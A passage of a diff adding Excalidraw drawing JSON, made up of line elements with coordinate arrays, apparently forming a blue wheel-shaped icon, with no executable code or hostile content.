-8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2409, + "versionNonce": 1699643616, + "index": "c0UZhG", + "isDeleted": false, + "id": "nF1sMcYHc10XrMg_XrKQe", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.7778883656625375, + "x": 1544.5079312116645, + "y": -1070.6723481602075, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 872337080, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2455, + "versionNonce": 1032545504, + "index": "c0UZhV", + "isDeleted": false, + "id": "9-EcTH29F7RzI93LB5idj", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6970035598078645, + "x": 1520.8070467610164, + "y": -1040.6658164330652, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 2040805304, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2433, + "versionNonce": 1150011616, + "index": "c0UZi", + "isDeleted": false, + "id": "skx3IZS75R75OrMJZHlTU", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.583969694432408, + "x": 1482.6903223858394, + "y": -1040.5617037993118, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 414482616, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2419, + "versionNonce": 1440722144, + "index": "c0UZiG", + "isDeleted": false, + "id": "yG9tJd2YUM5oQWRefC8kZ", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 4.456659860702139, + "x": 1458.6225874309862, + "y": -1070.439391204521, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 1624484280, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 2392, + "versionNonce": 1528238304, + "index": "c0UZiV", + "isDeleted": false, + "id": "rrgGK2sKNNVGYCZxJ0z5R", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 5.358545231943218, + "x": 1467.193781236145, + "y": -1107.92661111797, + "strokeColor": "#326ce5", + "backgroundColor": "#ffffff", + "width": 6.3788756196412235, + "height": 15.052704806665954, + "seed": 220574392, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.1319200453525514, + -1.3567582753239884 + ], + [ + 0.40317332609588147, + -1.6900338069988166 + ], + [ + 0.6198323050239201, + -2.0566874636461985 + ], + [ + 0.8031591333476371, + -2.4233411202935806 + ], + [ + 0.9531538110670326, + -2.8733251534518454 + ], + [ + 1.01981811227565, + -3.3399752619122447 + ], + [ + 1.0625590378299277, + -3.7969673349736746 + ], + [ + 0.7698269827433162, + -7.973144195911549 + ], + [ + 0.6796992987072743, + -8.459208619909072 + ], + [ + 0.5698340791174369, + -8.956442638738753 + ], + [ + 0.4865037026066605, + -9.456424897803421 + ], + [ + 0.40317332609588225, + -9.973073232170222 + ], + [ + 0.3365090248872625, + -10.539719792443432 + ], + [ + 0.3365090248872633, + -10.989703825601694 + ], + [ + 0.3365090248872625, + -11.456353934062093 + ], + [ + 0.3855884572326688, + -11.953946452745052 + ], + [ + 0.4365054767002274, + -12.556314904004449 + ], + [ + 0.6531644556282425, + -13.106295388975523 + ], + [ + 0.986485961671352, + -13.539613346831649 + ], + [ + 1.3844561976693959, + -13.989944033949294 + ], + [ + 1.736459350268384, + -14.306252810730687 + ], + [ + 2.1697773081244343, + -14.506245714356508 + ], + [ + 2.58642919067832, + -14.672906467378066 + ], + [ + 2.9864149979300567, + -14.722904693284681 + ], + [ + 3.419732955786105, + -14.739570768586814 + ], + [ + 3.8363848383399968, + -14.68957254268041 + ], + [ + 4.269719340751213, + -14.57622967334042 + ], + [ + 4.586358226937001, + -14.406249262543701 + ], + [ + 4.91967973298011, + -14.172924208313404 + ], + [ + 5.153004787210311, + -13.939599154083304 + ], + [ + 5.419661992044782, + -13.6562758739466 + ], + [ + 5.636320970972819, + -13.356286518507961 + ], + [ + 5.783826858490086, + -13.000543693805266 + ], + [ + 5.969642477015928, + -12.62297920521299 + ], + [ + 6.08630500413103, + -12.256325548565606 + ], + [ + 6.13630323003749, + -11.873005816616091 + ], + [ + 6.163625197777948, + -11.155227505620381 + ], + [ + 6.169635380641811, + -10.739712696069466 + ], + [ + 6.102971079433167, + -10.189732211098184 + ], + [ + 6.036306778224549, + -9.739748177940129 + ], + [ + 5.91964425110945, + -9.18976769296885 + ], + [ + 5.86964602520297, + -8.723117584508657 + ], + [ + 5.769649573390031, + -8.27313355135039 + ], + [ + 5.6634870490272, + -7.374066077730169 + ], + [ + 5.436656391274203, + -3.52608445894531 + ], + [ + 5.4696602179512395, + -2.956655529962518 + ], + [ + 5.561377761617212, + -2.3532014007916944 + ], + [ + 5.869646025202968, + -1.856694560020371 + ], + [ + 6.335371790211968, + -1.4270998588804666 + ], + [ + 6.3788756196412235, + 0.3131340380791393 + ], + [ + 0.7448875491845107, + 0.28559200541991153 + ] + ] + }, + { + "type": "line", + "version": 1258, + "versionNonce": 197260512, + "index": "c0UZj", + "isDeleted": false, + "id": "mgMddNV5XT5FDj7LJLbps", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1500.7420891198199, + "y": -1090.6662539913061, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 10.252280648612068, + "height": 9.88260706753235, + "seed": 1414437816, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -1.5526290405350023, + 1.9223026216148493 + ], + [ + -0.49289810810634505, + 6.333740689166632 + ], + [ + 3.5488663783657186, + 8.280688216186745 + ], + [ + 7.615275770243094, + 6.358385594572097 + ], + [ + 8.699651608077065, + 1.9962373378308405 + ], + [ + 5.865487486465552, + -1.5526290405348702 + ], + [ + 1.2076003648605451, + -1.601918851345604 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1514, + "versionNonce": 762337504, + "index": "c0UZjG", + "isDeleted": false, + "id": "eeH27Y6Wp8R-FkwpDmQik", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0, + "x": 1508.0783256544923, + "y": -1114.862699398275, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 2020762808, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1673, + "versionNonce": 1404189920, + "index": "c0UZjV", + "isDeleted": false, + "id": "kydEV9cWyAG-jQ61eXo09", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 0.9101052658279114, + "x": 1519.7731782801966, + "y": -1097.4477204507614, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1463094712, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1589, + "versionNonce": 538419424, + "index": "c0UZk", + "isDeleted": false, + "id": "yOTJzRZbA82rNB1yVxS9H", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 1.8100395845487913, + "x": 1513.436019597531, + "y": -1077.7337384808804, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 2042271416, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1617, + "versionNonce": 36734176, + "index": "c0UZkG", + "isDeleted": false, + "id": "dsnxg0etyJCrpMQjcRdTM", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 2.6912717400126276, + "x": 1494.0760153976303, + "y": -1070.2855849727714, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 614924216, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 6.158865593111859 + ], + [ + 15.47746166569721, + 4.927894283664109 + ], + [ + 14.144058503954813, + 3.827307546987761 + ], + [ + 12.958811249072713, + 2.938372105826155 + ], + [ + 11.68890347598471, + 2.0917669237674774 + ], + [ + 10.503656221102577, + 1.4356479076720543 + ], + [ + 9.079559918031828, + 0.6784609899953002 + ], + [ + 7.794519638514863, + 0.08107961637825856 + ], + [ + 6.439951347220992, + -0.4480486224085425 + ], + [ + 4.958392278618367, + -0.9771768611951357 + ], + [ + 3.688484505530357, + -1.3581491931216336 + ], + [ + 2.355081343787984, + -1.6332958772905624 + ], + [ + 1.0640084411485273, + -1.8872774319082257 + ], + [ + -0.06628813539187473, + -2.0433689287488677 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1661, + "versionNonce": 2005723360, + "index": "c0UZkV", + "isDeleted": false, + "id": "DPavfjtRi8e2uWqP0DHhv", + "fillStyle": "cross-hatch", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 2, + "opacity": 100, + "angle": 3.5758525840700663, + "x": 1476.038439821136, + "y": -1080.8313466189861, + "strokeColor": "#326ce5", + "backgroundColor": "#326ce5", + "width": 16.889258839566853, + "height": 17.236351044874002, + "seed": 1746815160, + "groupIds": [ + "cgJKMjfo4mYx8uiViYszf", + "diVp4hli_TkdPXSR11bRx", + "oTiUjIMAuivFGF6Vk1dlr" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453343, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0.8162304728045822, + 13.117989741502338 + ], + [ + 1.0005130524941164, + 13.859578954382807 + ], + [ + 1.2544946071117007, + 14.367542063617933 + ], + [ + 1.635466939038122, + 14.769679525095906 + ], + [ + 2.2492556960306276, + 15.0659913388163 + ], + [ + 2.8207141939202405, + 15.171816986573663 + ], + [ + 3.4345029509127682, + 15.192982116125133 + ], + [ + 3.92130093059649, + 15.065991338816303 + ], + [ + 4.399021588744426, + 14.853875869580769 + ], + [ + 16.822970704174978, + 